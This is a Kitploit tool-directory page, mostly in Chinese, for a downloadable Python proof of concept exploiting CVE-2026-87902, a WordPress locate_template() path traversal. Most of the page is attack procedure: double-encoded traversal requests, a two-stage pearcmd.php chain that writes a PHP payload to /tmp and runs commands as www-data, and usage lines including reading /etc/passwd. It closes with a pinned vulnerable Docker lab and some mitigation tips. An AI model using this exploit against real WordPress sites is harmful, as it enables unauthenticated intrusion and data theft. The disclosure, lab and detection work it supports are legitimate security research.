Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-87902 — Python PoC,利用 CVE-2026-87902——WordPress locate_template() 中的未认证路径遍历漏洞,可导致 LFI 及基于 PEAR 的 RCE,并带有安全检测模式。 | Kitploit
工具/GitHubGitHub/crowsec-edtech/cve-2026-87902
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试远程访问工具Payload 开发实验室与实践
GitHubcrowsec-edtech/cve-2026-87902

CVE-2026-87902

Python PoC,利用 CVE-2026-87902——WordPress locate_template() 中的未认证路径遍历漏洞,可导致 LFI 及基于 PEAR 的 RCE,并带有安全检测模式。

查看仓库
21天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-87902 — PoC:WordPress page-template 解析中的未认证路径遍历

漏洞利用文件: exploit_locate_template_rce.py — Python 3.6+(仅标准库)。

单命令流水线:安全检测(LFI 差分,无写入)→ 若存在漏洞,则通过 pearcmd.php gadget 执行 RCE,运行你选择的命令 (--command/-c)。使用 --validate-only 可在写入阶段前停止。

测试 CVE-2026-87902 在未包含提交 5fde0bb7 修复的 WordPress 版本中 — "Themes: Restrict path traversal in locate_template()"(WordPress 7.1.2,向后移植至 4.7.37)。

CVECVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
受影响版本WordPress 4.7.0 – 7.1.1(所有分支)
修复7.1.2, 7.0.6, 6.9.9 … 4.7.37
修复提交5fde0bb7b9775523959094bf280cc54bfa78af51(changeset 63792 的合并)
文件wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed())
认证无 — 无需用户、cookie、nonce 或插件
致谢发现与披露:Robert Ressl

⚠️ 仅供授权测试使用。 请在你控制的环境中使用 (下方实验环境为隔离环境),或获得所有者的明确授权。


1. 漏洞

在未修复的版本中,get_page_template() → locate_template() → template-loader 这一调用链从未保证所选模板保持在主题内部。

修复前(wp-includes/template.php):

root@kitploit:~
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

修复后(提交 5fde0bb7):

root@kitploit:~
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

利用链(仓库代码)

  1. pagename 和 page_id 是公开的 query vars — 在匿名 POST 的 body 中被接受。 POST 方法使 redirect_canonical()(canonical.php)提前返回 — 它仅在 GET/HEAD 时生效,因此不会发生重定向。
  2. 路径遍历是双重编码的(templates%252f%252e%252e%252f...)并在 sanitize 后存活:WP_Query::get_posts()(第 2191 行)用 sanitize_title_for_query( wp_basename( ... ) ) 重写 pagename — wp_basename() 不会在 %2F 处断开 (formatting.php 第 5768 行),且 sanitize 保留 %XX 八位字节(第 2395 行)。
  3. page_id(第 2252 行)覆盖 WHERE("$where =",而非 ".=")— 真实页面 被加载,无 404,且恶意 pagename 保留在 query 对象中。
  4. get_page_template() 执行延迟 urldecode() 并构造 page-<traversal>.php 而不调用 validate_file()。
  5. 修复前的 locate_template() 仅调用 file_exists() → include 逃逸出主题。

前置条件

#前置条件原因
1已发布页面,可匿名访问,可通过 page_id 选择,且无自定义模板请求必须解析为一个 Page;自定义模板会在层级中更早出现
2活动主题(子主题或父主题)中存在以 page- 开头的顶层目录(例如 page-templates/)WP 会前置固定前缀 page-;路径遍历正是通过它进入。只需存在且可遍历(可为空)。存在于 Twenty Twelve/Fourteen、Neve、Hestia、Sydney
3存在且可读的本地 .php 目标loader 会追加 .php 并检查 is_file()/is_readable()
4(仅用于 RCE) 可读的 pearcmd.php + register_argc_argv=On + 可写目录(例如 /tmp)PEAR→RCE 路径:config-create 将 PHP payload 写入服务器

2. 脚本的作用

阶段 1 — 安全检测(始终首先运行)

针对已发布页面的三个匿名 POST — 不写入磁盘:

请求pagename预期响应(存在漏洞)
A — 基线—200,正常 body(约 23 KB)
B — 对照traversal → 不存在的文件200,正常 body(回退到 page.php)
C — 探测traversal → wp-content/index.php("Silence is golden")200 且 body 为空

特征:C 为空 + A/B 正常 ⇒ include 逃逸出主题 ⇒ 存在漏洞。 检测会自动扫描:候选主题目录 (page-templates、page-template)× 深度 1–12。 结果(theme-dir + depth)供 RCE 阶段使用。

使用 --validate-only 时脚本在此停止(若存在漏洞则 exit 0)。

阶段 2 — 通过 pearcmd.php 的 RCE(写入)

root@kitploit:~
阶段 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → traversal 包含 /usr/local/lib/php/pearcmd.php
           → argv 来自原始 query string(register_argc_argv=On)
           → config-create 将 payload 写入 /tmp/wp-pear-rce.php(12 份序列化副本)

阶段 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → 同一 traversal 包含生成的文件 → system(<--command>) 以 www-data 运行

格式细节(所有限制均由脚本处理):

  • POST,而非 GET:body 携带 page_id + pagename;query string 仅携带 PEAR 的 argv(?+config-create+<root>+<out>)。
  • payload 不含任何引号:wp_magic_quotes()(load.php 第 1290 行)应用 add_magic_quotes($_SERVER),且 pearcmd 从 $_SERVER['argv'] 读取 argv — 任何 引号都会变成 \' 并破坏生成的文件。所有 PHP 字符串都转为 chr() 拼接: '/tmp' → chr(47).chr(116).chr(109).chr(112)。
  • 字节精确的 request target(http.client):query string 中的原始字节 +、<、> 就是 argv — 途中不能有任何重写/重编码。
  • config-create 要求 root path 为绝对路径 — payload 作为 root 本身注入 (/<php>),并加上标记 ___WP_RCE_OK___ 来界定输出。
  • RCE 从检测到的 depth 开始尝试(内部顺序 7, 6, 8, 5, …)以及多个 pearcmd.php 路径(官方 Docker、Debian/Ubuntu、XAMPP)— 如有需要可用 --pear-path/--output 调整。

没有"上传":检测目标是每个 WordPress 出厂自带的文件 (wp-content/index.php);RCE payload 由服务器自身通过 PEAR gadget 写入,以 www-data 运行。


3. 用法

root@kitploit:~
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

参数

参数默认值描述
--url, -u(必填)WordPress 基础 URL
--command, -cid在目标上执行的 shell 命令(使用 --validate-only 时忽略)
--validate-onlyoff仅验证漏洞(LFI,在 RCE/写入前停止)
--page-idauto(REST,回退探测)已发布页面 ID,无自定义模板
--theme-dir尝试 page-templates、page-template主题中以 page- 开头的顶层目录
--probe-targetindex检测探测目标,不含 .php(index → wp-content/index.php)
--depth0(扫描 1–12)../ 段数
--pear-path尝试内部列表RCE 阶段的 pearcmd.php,不含 .php(Docker、Debian、XAMPP)
--output/tmp/wp-pear-rcePEAR payload 的可写目标,不含 .php
--timeout20每请求超时(秒)
--insecureoff不验证 TLS 证书
--verboseoff每次尝试的详细输出

实验环境中的预期输出

root@kitploit:~
[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

退出码: 0 = 验证成功/RCE 成功 · 1 = 未确认/失败 · 2 = 错误(例如未找到已发布页面)。可作为回归检查: 在 WordPress ≥ 7.1.2 中探测永远不会为空并返回 1。


4. 实验环境(Docker)

使用的实验环境:docker-compose.yml。

root@kitploit:~
services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:
root@kitploit:~
docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

为什么每个部分都很重要:

  • 7.1.1-php8.3:必须为 < 7.1.2 且为 php8.3 — 在 PHP 8.5 中, register_argc_argv 在 HTTP SAPI 中默认为 Off,且 PEAR 已从发行版中移除, 因此 RCE 阶段无法工作(LFI 检测仍可工作)。
  • 滚动标签 = 陷阱:wordpress:php8.3-apache 如今会拉取 7.1.2+(已修补), 漏洞利用会正确地失败。
  • 更换镜像不会降级:wp_data 卷会持久化 core;更改标签需要 docker compose down -v,以便 entrypoint 从新镜像重新复制文件。
  • page-templates/(fixture):默认主题(Twenty Twenty-*)没有 page-* 目录 — 没有它,固定前缀 page- 永远无法解析,任何 depth 都不起作用。 bind mount 的替代方案:使用 command: > 配合 sh -c "mkdir -p .../page-templates && exec apache2-foreground"。
  • register_argc_argv=On:官方镜像不加载 web php.ini,因此适用编译时的 默认值(php8.3 中为 On)。确认:docker exec <c> php -i | grep argc。
  • 实验环境中的 depths:检测在 3 处命中(page-templates/ → 3×.. → wp-content/); PEAR 在 7 处命中(→ / → /usr/local/lib/php/pearcmd.php)。

5. 局限性与给防御者的提示

  • 阴性结果是不确定的(主题无 page-*、页面有自定义模板、 open_basedir、WAF/代理阻止 traversal、无效 page_id)。
  • 空探测可能被返回空 200 的 WAF 模仿 — 请用日志确认。
  • 缓解措施:升级到 7.1.2+(或分支的 backport);对 web SAPI 设置 register_argc_argv=Off; 在生产环境中移除可读的 pearcmd.php;审计主题中的 顶层 page-* 目录;对日志中带 %252f/%252e(双重编码)的 pagename 发出告警。
  • PEAR 只是包含→执行的一条路径;任何可读且有用的 .php 都可以 成为 LFI 的目标(通过 --probe-target 检测)。

6. 参考资料

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Fix(7.1 分支):提交 5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792
  • 发现者的 write-up 和 PoC:https://ressl.ch/blog/cve-2026-87902-wordpress/ · https://github.com/ressl/cve-2026-87902-poc
  • 差分检测(Hadrian):https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  • WordPress 7.1.2: https://wordpress.org/news/

法律声明

本材料仅供授权安全研究和测试使用。 未经所有者明确许可对系统使用属于违法行为。该漏洞利用 仅在隔离的本地实验环境中开发和验证。

下载工具